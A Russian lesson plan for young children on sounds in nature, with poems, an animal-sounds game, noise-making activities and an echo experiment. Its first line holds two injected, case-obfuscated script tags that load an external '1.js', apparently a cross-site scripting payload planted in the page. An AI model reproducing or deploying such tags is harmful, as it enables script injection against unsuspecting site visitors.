<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

Этапы

деятельности

Действия воспитателя

Деятельность детей

Мотивационно-

побудительный

Посмотри, мой милый друг,

Что находится вокруг?

Небо светло-голубое,

Солнце светит золотое,

 Ветер листьями играет,

Тучка в небе проплывает.

Поле, речка и трава,

Горы, воздух и листва,

Птицы, звери и леса,

Гром, туманы и роса.

Человек и время года

–Это все вокруг …природа.

Педагог:

Как вы думаете,

природа живая? Может ли она с нами разговаривать или молчалива? Какие звуки

природы бывают? Кто эти звуки издает? Выдвигают предположения.

Определяют тему занятия – «Источники

звука в природе».

Что такое звук? Звук – это то, что

можно слышать или изда­вать. Педагог предлагает послушать звуки за окном и

опреде­лить, какие звуки слышны? Кто их издает?

Информация педагога.

У человека из звуков складываются слова, а в природе из зву­ков

звучит живая музыка. Педагог предлагает презентацию и прослушивание записей:

горные реки, звуки джунглей, пение птиц. Кто издает живые звуки? Какие звуки

можно отнести к живой и неживой природе? По голосу можно узнавать чело­века.

А можем распознать животное по тем звукам, которые выдает оно?

Педагог создает благоприятную

атмосферу для работы на занятии.

Организационно -поисковый

Игра «Кто как голос подает».

Педагог называет животное, а ребята

досказывают глагол (что делает?) и подражают животным (звуки зверей озвучива­ют

мальчики, птиц – девочки, насекомых – все вместе):

волк – воет; воробей – чирикает;

ворона – каркает; голубь – воркует; гусь – гогочет; ежик – фыркает; жук –

жужжит; змея шипит; кабаны, свиньи – хрюкают; коза – блеет; корова – мычит;

кошка – мяукает, мурлычет; кузнечик – стрекочет; кукушка – кукует; курица –

кудахчет, квохчет; лошадь – ржет; лягушка – квакает; осел – ревет; петух –

поет, кукарекает; пчела – жужжит; слон –трубит; собака – лает; сова – ухает;

сорока – трещит, стрекочет; тигр, лев – рычит; утка – крякает; цыпленок –

пищит. А рыба... (интрига) молчит.

(К, И) Проблемный вопрос.

Когда и почему животные издают звуки?

Выдвигают предпо­ложения (когда приближается опасность, когда голодные...).

Работа в азбуке-тетради.

Рассмотри картинку. Подумай и

расскажи, как природа раз­говаривает? Высказывают предположения (журчит

ручей, грохочет гром, завывает вьюга, шумит водопад). Делают вы­вод, что это

звуки неживой природы.

(Э) Практическая работа.

А можем ли мы при помощи разных

приспособлений – шу­мовых инструментов – изобразить различные звуки при­роды?

Предлагает озвучить стихотворение. Дети подходят к столу и выбирают любой

предмет.

(К, И) Игра-инсценировка

Кто стучит за окном?

– Дождь идет по траве (щелчки по

листам бумаги).

– Кто шуршит за окном?

Ветер в мокрой траве (шелестят

бусами).

Кто журчит за окном?

– Ручейки, ручейки (дуют из

соломинки в стакан с водой).

Что свистит за окном?

– Соловей у реки (свистулька).

Кто молчит за окном?

– Там никто не молчит:

Там лошадка спешит

И копытцем стучит (ложки).

Вот коровка идет на лужок (колокольчик),

Вот пастуший я слышу рожок (дудочка),

Только я и молчу, всех послушать

хочу.

(Л. Кудрявская)

Какие голоса живой природы вы

услышали в стихотворении?

Проблемный вопрос.

Может ли нам природа ответить? Ответ

подскажет опыт-загадка.

Как получается эхо?

Эксперимент. Педагог предлагает послушать эхо прямо в комнате, только

эхо будет персональным: кто кричит, тот и слышит.

Педагог предлагает поднять ведро

перед собой, приблизить к лицу и громко крикнуть.

Вывод: звук вашего голоса, ударившись о дно ведра,

возвра­щается к вам. В этом загадка возникновения эха. Звук может отражаться.

Например, удариться о стену горы и отскочить обратно – получится эхо. А так

как звуки по воздуху двига­ются не очень быстро, то эхо тоже надо немного

подождать

Работа в азбуке-тетради (выполнение заданий).

– Обведи красным карандашом картинки,

которые можно отнести к звукам неживой природы, и зеленым карандашом – к

звукам живой природы

– Разыграй с друзьями звуковую сценку

«Куаныш и Айсулу в гостях в ауле».

– Подумай, как звучит природа утром.

Нарисуй картинку зву­чащей весенней природы.

Вывод: звуки мы издаем и слышим. Много звуков есть в

жи­вой и неживой природе.

 Рефлекторно-

корректирующий

Попросите детей оценить свою работу

на занятии, за­красить полоски у колокольчика карандашом любого цвета:

– одна полоска – ничего не понял;

– две – понял, но не могу объяснить;

– три – все понял, могу объяснить другому.

Итог занятия